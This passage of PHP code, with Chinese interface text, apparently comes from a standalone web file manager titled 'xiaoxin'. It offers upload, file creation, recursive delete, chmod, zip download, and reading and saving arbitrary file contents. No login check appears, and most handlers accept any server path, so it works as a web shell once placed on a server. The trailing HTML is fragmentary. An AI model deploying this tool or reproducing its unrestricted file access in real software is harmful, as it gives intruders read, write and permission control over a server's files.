open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { foreach ($_POST['selected_items'] as $item) { $path = realpath($item); if (!$path || !file_exists($path)) continue; if (is_file($path)) { $zip->addFile($path, basename($path)); } elseif (is_dir($path)) { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($iterator as $file) { $filePath = $file->getRealPath(); $localPath = substr($filePath, strlen($dir) + 1); $zip->addFile($filePath, $localPath); } } } $zip->close(); $message = "✅ ZIP 已生成:点击下载"; $messageType = "success"; } else { $message = "ZIP 打包失败"; $messageType = "danger"; } } // ✅ ZIP 分块下载 if (isset($_GET['download_zip'])) { $zipFileName = basename($_GET['download_zip']); $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName; if (file_exists($zipFilePath)) { header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zipFileName . '"'); header('Content-Length: ' . filesize($zipFilePath)); $fp = fopen($zipFilePath, 'rb'); if ($fp) { while (!feof($fp)) { echo fread($fp, 1024 * 1024); flush(); } fclose($fp); } unlink($zipFilePath); exit; } else { echo "
ZIP 文件不存在或已过期。
"; } } // 文件上传 if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $uploadFile = $_FILES['file']; $targetPath = $dir . DIRECTORY_SEPARATOR . basename($uploadFile['name']); if (move_uploaded_file($uploadFile['tmp_name'], $targetPath)) { $message = "文件上传成功: " . htmlspecialchars($uploadFile['name']); $messageType = "success"; } else { $message = "文件上传失败"; $messageType = "danger"; } } // 创建文件/文件夹 if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'], $_POST['new_type']) && !isset($_POST['zip_selected'])) { $name = trim($_POST['new_name']); $type = $_POST['new_type']; $path = $dir . DIRECTORY_SEPARATOR . $name; if ($name !== '') { if ($type === 'file') { if (file_put_contents($path, '') !== false) { $message = "文件创建成功: " . htmlspecialchars($name); $messageType = "success"; } else { $message = "文件创建失败"; $messageType = "danger"; } } elseif ($type === 'folder') { if (mkdir($path)) { $message = "文件夹创建成功: " . htmlspecialchars($name); $messageType = "success"; } else { $message = "文件夹创建失败"; $messageType = "danger"; } } } else { $message = "名称不能为空"; $messageType = "warning"; } } // ✅ 修改权限 if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_mode']) && !isset($_POST['zip_selected'])) { $chmodFile = realpath($_POST['chmod_file']); $mode = octdec($_POST['chmod_mode']); if ($chmodFile && file_exists($chmodFile)) { if (chmod($chmodFile, $mode)) { $message = "权限修改成功: " . htmlspecialchars(basename($chmodFile)); $messageType = "success"; } else { $message = "权限修改失败: " . htmlspecialchars(basename($chmodFile)); $messageType = "danger"; } } else { $message = "非法操作"; $messageType = "danger"; } } // ✅ 删除文件 / 递归删除目录 function deleteRecursive($path) { if (is_file($path)) return unlink($path); $files = array_diff(scandir($path), ['.', '..']); foreach ($files as $file) { deleteRecursive($path . DIRECTORY_SEPARATOR . $file); } return rmdir($path); } if (isset($_GET['delete'])) { $deletePath = realpath($_GET['delete']); if ($deletePath && strpos($deletePath, $dir) === 0) { if (deleteRecursive($deletePath)) { $message = "删除成功: " . htmlspecialchars(basename($deletePath)); $messageType = "success"; } else { $message = "删除失败: " . htmlspecialchars(basename($deletePath)); $messageType = "danger"; } } else { $message = "非法操作"; $messageType = "danger"; } } // ✅ 编辑文件(读取内容) $editContent = ''; $editFile = ''; if (isset($_GET['edit'])) { $editFile = realpath($_GET['edit']); if ($editFile && is_file($editFile)) { $editContent = file_get_contents($editFile); } else { $message = "无法编辑该文件"; $messageType = "danger"; } } // ✅ 保存编辑内容 if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file'], $_POST['content'])) { $filePath = realpath($_POST['edit_file']); if ($filePath && is_file($filePath)) { file_put_contents($filePath, $_POST['content']); $message = "文件已保存"; $messageType = "success"; } else { $message = "无法写入文件"; $messageType = "danger"; } } // 生成面包屑 function generateBreadcrumb($dir) { $parts = explode(DIRECTORY_SEPARATOR, $dir); $pathAccum = ''; $breadcrumb = []; foreach ($parts as $part) { if ($part === '') continue; $pathAccum .= DIRECTORY_SEPARATOR . $part; $breadcrumb[] = "" . htmlspecialchars($part) . ""; } return implode(" / ", $breadcrumb); } ?> xiaoxin
目录:
创建文件/文件夹
上传文件
编辑文件:
取消
"; } foreach ($items as $item) { $path = $dir . DIRECTORY_SEPARATOR . $item; echo ""; echo ""; if (is_dir($path)) { echo ""; } else { echo ""; } echo ""; echo ""; } ?>
名称 类型 操作
.. (上级目录)目录
" . htmlspecialchars($item) . "目录" . htmlspecialchars($item) . "文件"; if (is_file($path)) { echo "编辑"; } echo " "; echo "删除"; echo "